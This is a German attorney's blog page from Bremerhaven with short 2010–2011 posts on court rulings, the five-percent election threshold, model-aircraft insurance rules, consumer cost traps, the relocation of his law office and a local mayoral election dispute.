In der Nordsee-Zeitung vom 29.12.2011 sind zwei neue Regionalkrimis vorgestellt worden. Als Bremerhavener möchte ich gern zwei Bremerhaven-Krimis von Volker Heigenmooser empfehlen, die man unbedingt gelesen haben sollte: 1. Die Leiche im Keller von Volker Heigenmooser Schardt Verlag ISBN 978-3-89841-282-7 und 2. Die Leiche im Hafen von Volker Heigenmooser Schardt Verlag ISBN 978-3-89841-420-3 Volker Heigenmooser war Pressesprecher der Stadt Bremerhaven und ist zudem intimer Kenner Bremerhavener Verhältnisse. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | EU Fünf-Prozent-Klausel nichtig | 0 | 15.11.2011 - 15:23:12 | 17.11.2011 - 08:48:17 |
Nach einem Urteil des Bundesverfassungsgerichts vom 09.11.2011 (BverfG, Az. 2 BvC 4/10, 2 BvC 6/10, und 2 BvC 8/10) verstößt die Fünf-Prozent-Klausel – bei Europawahlen – gegen die Grundsätze der Wahlrechts- und Chancengleichheit der Parteien, ist daher verfassungswidrig und nichtig. Nach Ansicht der Karlsruher Richter wird die Funktionsfähigkeit des europäischen Parlaments durch den nun möglichen Einzug kleinerer Parteien aus Deutschland nicht beeinträchtigt. Nur wirklich zwingende Gründe rechtfertigen einen Eingriff in die Wahlrechts- und Chancengleichheit der Parteien. Allgemeine und abstrakte Befürchtungen, durch den Wegfall der Fünf-Prozent-Klausel würde die Willensbildung im europäischen Parlament erschwert werden, reichen eben nicht aus. Das Bundesverfassungsgericht sieht gegenwärtig keine Gefahr für die Funktionsfähigkeit des euopäischen Parlaments. Frei nach dem Grundsatz "Verwaltungsrecht besteht, Verfassungsrecht vergeht" sollte nun auch ernsthaft über eine Änderung auf nationaler Ebene nachgedacht werden. Wegen der Machtfragen ist es nicht verwunderlich, dass Stimmen aus der politischen Klasse meinen, dass dieses Urteil keine Auswirkungen auf die Wahl zum Deutschen Bundestag haben werde (siehe nur FAZ, 10.11.2011, S. 1, NZ, 10.11.2011, S. 2). Ich meine, es wird in Zukunft um mehr Gleichheit und mehr Teilhabe der Bürger am politischen Geschehen gehen. Die geschlossenen politischen Gesellschaften müssen endlich per Abschaffung der Fünf-Prozent-Hürde in ganz Deutschland geöffnet werden. Ansonsten werden weiterhin viele Wählerstimmen einfach wegfallen. Bei dieser Gelegenheit möchte ich auch erwähnen, dass sich Sprecher auf der Jahrestagung der Deutschen Sektion der Internationalen Juristen-Kommission in Bremen dafür eingesetzt haben, Volksentscheide auch auf Bundesebene zuzulassen (FAZ, 08.11.2011, S. 4). Mit Abschaffung der Fünf-Prozent-Hürde und der Einführung mehr direkter Elemente wird meines Erachtens unsere Demokratie sicherlich lebendiger. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Kanzleisitzverlegung vollzogen | 0 | 17.03.2011 - 10:06:31 | 22.08.2011 - 16:18:22 |
Nach über 10 Jahren Rechtsanwalt in Wehdel bin ich nun in renovierte und großzügigere Kanzleiräume in die Fußgängerzone von Bremerhaven gezogen. Da sich mein Kanzleisitz zentral in der Innenstadt von Bremerhaven befindet, hat dies unter anderem den Vorteil, dass ich für Sie durch eine optimale Infrastuktur gut erreichbar bin. Mein Kanzleibüro befindet sich in der 1. Etage (ein Fahrstuhl ist vorhanden!) und ist nur etwa 200 Meter nördlich vom Haupteingang des Columbus Centers in der Fußgängerzone entfernt und in direkter Nachbarschaft liegt die Große Kirche. Bei der Nutzung von öffentlichen Busverbindungen wählen Sie möglichst die Haltestelle "Große Kirche". Mein Büro liegt nur wenige Meter südlich davon entfernt. Nach den Jahren auf dem Lande freue ich mich auf die Innenstadt von Bremerhaven mit viel Bewegung und Ereignissen. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Verschlüsselung der Kanzleidaten | 0 | 29.07.2011 - 16:34:10 | 29.07.2011 - 16:34:10 |
Für eine vertrauliche Zusammenarbeit zwischen meinen Mandanten und mir ist es meines Erachtens erforderlich, dass die Daten auf meinen Kanzleicomputern verschlüsselt gespeichert werden. Einen geeigneten Verschlüsselungsalgorithmus (Encryption) benutze ich bereits seit Jahren. Dies hat insbesondere den Sinn, im Falle eines Diebstahls der Daten es den Dieben so schwer wie möglich zu machen. Der Aufwand einer Entschlüsselung ist enorm und steht so völlig außer Verhältnis zu dem eventuellen Erfolg. Diebe können sich sicherlich vorstellen, dass Mandanten die wesentlichen Daten in einem (öffentlichen) Gerichtsprozess bereits vortragen lassen haben. Einen Einbruch in meine Rechtsanwaltskanzlei halte ich daher für völlig sinnlos. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | 10jähriges Jubiläum | 0 | 21.02.2011 - 15:40:46 | 20.03.2011 - 18:19:41 |
Am 20.03.2011 habe ich Jubiläum. Denn bereits seit stolzen 10 Jahren betreue ich private sowie gewerbliche Mandanten/innen. Für mich ist dies eine gute Gelegenheit, mich einmal ausdrücklich bei allen, die mich in den vergangenen Jahren unterstützt haben, zu bedanken. Es waren insbesondere die treuen Mandanten/innen, die mir mit dem entgegengebrachten Vertrauen das 10jährige Jubiläum überhaupt erst ermöglicht haben. Herzlichen Dank für die 10 Jahre! http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Flugmodelle und Haftpflichtversicherung | 0 | 21.02.2011 - 16:13:29 | 11.03.2011 - 13:07:42 |
Im Jahre 2010 habe ich mich entschieden, mich von meinem Verbrenner-Heli zu trennen und mir einen Elektro-Heli anzuschaffen. Der Grund dafür liegt auf der Hand: Beim Einsatz eines Verbrennungsmotors muss ein Mindestabstand von 1,5 km zu Wohngebieten eingehalten werden. Ein Elektro-Hubi darf auch im Garten gefolgen werden. Allerdings ist auch bei Elektro-Hubis zu beachten, dass diese gem. § 16 der Luftverkehrsordnung nur mit einem Mindestabstand von 1,5 km zu Flugplätzen geflogen werden dürfen. Außerdem ist nur bei einer Masse von weniger als 5 kg (Ausnahme: Raketenantrieb) eine Aufstiegserlaubnis nicht erforderlich. Besonders zu beachten ist, das seit dem 1. Juli 2005 Flugmodelle laut § 43 Abs. 2 LuftVG nicht mehr von der Versicherungspflicht für Luftfahrzeuge ausgenommen sind. Dies bedeutet, dass alle Modellflieger vor dem Start unter freiem Himmel eine besondere Haftpflichtversicherung abzuschließen haben, und zwar unabhängig vom Abfluggewicht des Modells. Viele allgemeine Versicherer haben diese neuen Regelungen ignoriert oder die Versicherung von Modellflugzeugen ganz aus der allgemeinen Haftpflichtversicherung gestrichen. Vorsicht: Wer ohne oder ohne ausreichende Haftpflichtversicherung ein Flugmodell im öffentlichen Luftraum betreibt, begeht eine Ordnungswidrigkeit. Ich habe daher schnell eine Versicherung beim DMFV abgeschlossen. Als Mitglied im DMFV ist man automatisch ausreichend versichert. http://www.dmfv.de [Autor: RA Dr. André Helmke] |
![]() | Arbeitskreis zu Stuttgart 21 | 0 | 16.12.2010 - 11:19:49 | 21.02.2011 - 14:51:37 |
In Zusammenhang mit dem umstrittenen Bahnprojekt "Stuttgart 21“ hat sich ein Arbeitskreis von engagierten Juristinnen und Juristen gebildet, der sich aus bürgerschaftlichem Engagement mit Rechtsfragen des Projekts befasst. Derzeit sind etwa 30 Rechtsanwältinnen und Rechtsanwälten, Richterinnen und Richter sowie andere Juristen in dem Arbeitskreis aktiv. Weitere Informationen zu den Aktivitäten des Arbeitskreises finden sich auf der Homepage www.juristen-zu-stuttgart21.de . (Quelle: Polizei-Newsletter Nr. 136, Dezember 2010 ) http://www.juristen-zu-stuttgart21.de [Autor: RA Dr. André Helmke] |
![]() | Rückabwicklung nach Widerruf | 0 | 17.12.2010 - 12:57:57 | 29.01.2011 - 18:42:57 |
In einem Urteil des Bundesgerichtshofs vom 03.11.2010 (BGH, Urteil vom 03.11.2010, Az. VIII ZR 337/09, hat das Gericht entschieden, dass ein Verbraucher, der fristgerecht den Widerruf eines Fernabsatzvertrages erklärt, Anspruch Erstattung des vollen Kaufpreises hat, wenn er die Ware lediglich geprüft hat. Leitsatz des Gerichts: "Der Verbraucher, der im Fernabsatz ein Wasserbett gekauft hat, schuldet im Falle des Widerrufs keinen Ersatz für die Wertminderung, die dadurch eintritt, dass er die Matratze des Betts zu Prüfzwecken mit Wasser befüllt." Anwendbare Vorschriften: §§ 312d, 346, 355, 357 BGB [Autor: RA Dr. André Helmke] |
![]() | Homepage zum Thema Social-Web | 0 | 16.12.2010 - 11:16:03 | 29.01.2011 - 18:42:16 |
Das US-Justizministerium betreibt mit dem Bureau of Justice Assistance eine Homepage zum Thema Social Web und Web 2.0. Das Ziel der Initiative ist es, die Kompetenzen der Strafverfol- gungsbehörden im Umgang mit Social-Web-Diensten zu stärken. Die Homepage www.iacpsocialmedia.org enthält neben zahlreichen technischen Informationen und Erklärungen auch nützliche Hinweise für Institutionen, die sich auf den Aufbau einer Infrastruktur im Social-Web beziehen. (Quelle: Polizei-Newsletter Nr. 136, Dezember 2010 ) http://www.iacpsocialmedia.org [Autor: RA Dr. André Helmke] |
![]() | Kostenfalle Internet | 0 | 16.12.2010 - 11:14:58 | 29.01.2011 - 18:41:09 |
Nach Informationen des DAV (siehe DAV-Depesche, Nr. 46/10) hat der Informationsrechtsausschuss des Deutschen Anwaltvereins Ende 2010 zum Entwurf eines Gesetzes zur Änderung des BGB zum besseren Schutz der Verbraucherinnen und Verbraucher vor Kostenfallen im elektronischen Geschäftsverkehr Stellung genommen. Der Gesetzentwurf richtet sich gegen Kostenfallen im Internet. Die sogenannte Button-Lösung schiebt Kostenfallen im Internet einen wirksamen Riegel vor. Das neue Gesetz stellt sicher, dass nur zahlen muss, wer die Kostenpflicht kennt. Internetanbieter werden verpflichtet, mit deutlichem Hinweis über den genauen Preis zu informieren. Verbraucher sind danach nur zur Zahlung verpflichtet, wenn sie durch Mausklick bestätigen, dass sie den Hinweis auf die Kosten gesehen haben. Nach Auffassung des DAV sei die in dem Referentenentwurf vorgeschlagene Button-Lösung aus mehreren Gründen nicht zielführend. Richtig ist auch nach meiner Auffassung, dass bei versteckten Kostenhinweisen Verträge über ein entgeltpflichtiges Abo nach allgemeinem Vertragsrecht erst gar nicht zustande kommt. Selbst wenn ein Vertrag zustande kommt, ist der Verbraucher zwar unter Umständen zum Widerruf berechtigt, und zwar gegebenenfalls auch unbefristet, da der Verbraucher bei den "Abo-Fallen“ häufig nicht über sein Widerrufsrecht korrekt belehrt wird. Wettbewerbsrechtlich kann es sich bei den "Abo-Fallen" auch um irreführende geschäftliche Handlungen nach § 5 UWG handeln. Problematisch erscheint mir der Hinweis des DAV zu sein, wonach Abo-Fallen strafrechtlich den Tatbestand des Betruges erfüllen. Diese Ausführungen sind mir zu pauschal und es bedarf sicherlich jeweils einer gesonderten Einzelbetrachtung, gerade im Bereich des Vorsatzes. Zusammenfassend lässt sich festhalten, dass die sogenannte Button-Lösung für Verbraucher/Innen klare Verhältnisse schafft. Ich begrüße daher den Gesetzesentwurf und bin froh, dass ich von Anfang an in meinen Projekten die Button-Lösung verwendet habe. [Autor: RA Dr. André Helmke] |
![]() | Datensammlung als Datenbankwerk | 0 | 17.12.2010 - 12:31:52 | 19.12.2010 - 12:53:29 |
In einem Urteil des Bundesgerichtshofes vom 19.05.2010 (BGH, Urteil vom 19.05.2010, Az. I ZR 158/08) hat das Gericht zur unlauteren Rufausbeutung einer Datensammlung als Datenbankwerk und damit zur Schutzfähigkeit einer solchen nochmals Stellung genommen: Leitsätze des Gerichts: "a) Der für eine unlautere Rufausbeutung erforderliche Imagetransfer kann nicht allein damit begründet werden, dass ein Wettbewerber in seinem über eine eigenständige Systematik verfügenden Nachschlagewerk für Briefmarken als Referenz die im Verkehr durchgesetzte Systematik aus dem Konkurrenzpro-dukt des Marktführers übernimmt und jedem Eintrag zuordnet, um es dem Benutzer auf diese Weise zu ermöglichen, im Verkehr mit Dritten auch ohne Erwerb des Konkurrenzprodukts auf dessen als Standard akzeptierte Refe-renznummern Bezug zu nehmen. b) Die Schutzfähigkeit einer Datensammlung als Datenbankwerk kann nicht schon deshalb verneint werden, weil keine individuelle eigenschöpferische Auswahlentscheidung hinsichtlich der aufgenommenen Daten getroffen wor-den ist." Bei der Auslegung von § 4 Abs. 1, 2 UrhG ist Art. 3 Abs. 1 der Richtlinie 96/9/EG über den rechtlichen Schutz von Datenbanken maßgeblich zu berücksichtigen. Danach sind Datenbanken, die aufgrund der Auswahl oder Anordnung des Stoffes eine eigene Schöpfung ihres Urhebers darstellen, als solche urheberrechtlich geschützt. Die Schutzfähigkeit der Dankenbank kann sich alternativ aus der Auswahl oder der Anordnung des Inhaltes ergeben. Anwendbare Vorschriften dazu: § 4 Nr. 9 lit. b UWG; § 4 Abs. 1, 2 UrhG [Autor: RA Dr. André Helmke] |
![]() | Bloggen mit Justitia21 | 1 | 19.12.2010 - 12:19:20 | 19.12.2010 - 12:20:22 |
Hallo Welt, ab sofort können registrierte Benutzer mit Justitia21 auch bloggen. http://www.justitia21.de [Autor: RA Dr. André Helmke] |
![]() | Oberbürgermeisterwahl in Bremerhaven | 0 | 19.12.2010 - 12:14:00 | 19.12.2010 - 12:14:00 |
Der amtierende Oberbürgermeister in Bremerhaven möchte seinen "Stuhl" vorzeitig freimachen für die Wahl des (gewünschten) Nachfolgers im November 2010. Problematisch ist in dieser Sache, dass er nicht zurücktreten, sondern sich lediglich beurlauben lassen möchte, weil seine Amtszeit erst im November 2011 endet. Die Hintergründe für diese Beurlaubung sind unklar und lassen sich daher nur erahnen. Auch nach meiner Auffassung sind zwei Oberbürgermeister mit der Verfassung der Stadt Bremerhaven nicht vereinbar. So gibt § 3 Abs. 1 Satz 1 der Verfassung für die Stadt Bremerhaven (VerfBrhv) vor, dass die Stadt ihre Selbstverwaltungsangelegenheiten im Rahmen der Gesetze durch Ortsgesetze regelt. Zunächst möchte ich klarstellen, dass es sich bei dieser Verfassung selbst um eine Satzung handelt. So ist § 3 Abs. 3 Satz 1 VerfBrhv nichts anderes wie eine inhaltliche Wiederholung der verfassungsrechtlich garantierten Selbstverwaltungsgarantie der Gemeinden gem. Art. 28 Abs. 2 Satz 1 GG. Demnach muss den Gemeinden das Recht gewährleistet sein, alle Angelegenheiten der örtlichen Gemeinschaft im Rahmen der Gesetze in eigener Verantwortung zu regeln. Die Formulierung "im Rahmen der Gesetze" zeigt, dass auch Bremerhaven als Gemeinde im Sinne des Art. 28 Abs. 2 Satz 1 GG an höherrangiges Recht, wie z. B. an Landesgesetze, gebunden ist. So genügt meines Erachtens ein Blick in § 49 Abs. 3 Satz 1 der Bremischen Landeshaushaltsordnung (BremLHO): Demnach darf jede Planstelle nur mit einer Person [...] besetzt werden. Bei der Bremischen Landeshaushaltsordnung handelt es sich um ein von der Bremischen Bürgerschaft (Landtag) beschlossenes Gesetz und ist meines Erachtens damit auch von Bremerhaven gem. § 3 Abs. 3 Satz 1 VerfBrhv i. V. m. Art. 28 Abs. 2 Satz 1 GG zu beachten. Mit der Beurlaubung gibt der amtierende Oberbürgermeister sein Amt (seine Planstelle) nicht auf. Damit ist die geplante vorzeitige Wahl des Oberbürgermeisters in Bremerhaven nicht nur moralisch, sondern auch rechtlich sehr bedenklich. Es bleibt also meiner Ansicht nach nur die einzige vernünftige Möglichkeit, während der Beurlaubung bis zur zulässigen Neuwahl die Geschäfte von dem Vertreter des beurlaubten, aber noch amtierenden Oberbürgermeisters erledigen zu lassen. Schließlich ist mir schleierhaft, warum hier unbedingt vorzeitig eine Neuwahl des Oberbürgermeisters stattfinden soll. Selbst wenn die Gerichte später zu einer noch gerade zulässigen vorzeitigen Neuwahl kommen sollten, so hat diese Debatte doch einen bitteren Beigeschmack. Warum will man unbedingt vorzeitig einen neuen Oberbürgermeister wählen? Hat dies vielleicht etwas mit dem geänderten Wahlrecht im Lande Bremen zu tun? Vielleicht "fürchtet" man sich vor neuen Mehrheitsverhältnissen in der Stadtverordnetenversammlung nach dem 22. Mai 2011, mit der die Wahl des (gewünschten) Oberbürgermeisters scheitern könnte? Ich meine, es ist nun der richtige Zeitpunkt, um endgültig eine Direktwahl des Oberbürgermeisters in Bremerhaven vehement zu fordern. Damit würde dem Oberbürgermeister als Hauptverwaltungsbeamten eine von den Parteien unabhängigere Position gesichert werden. Bis dahin wünsche ich den Antragstellern vor dem Verwaltungs- gericht Bremen viel Glück! http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |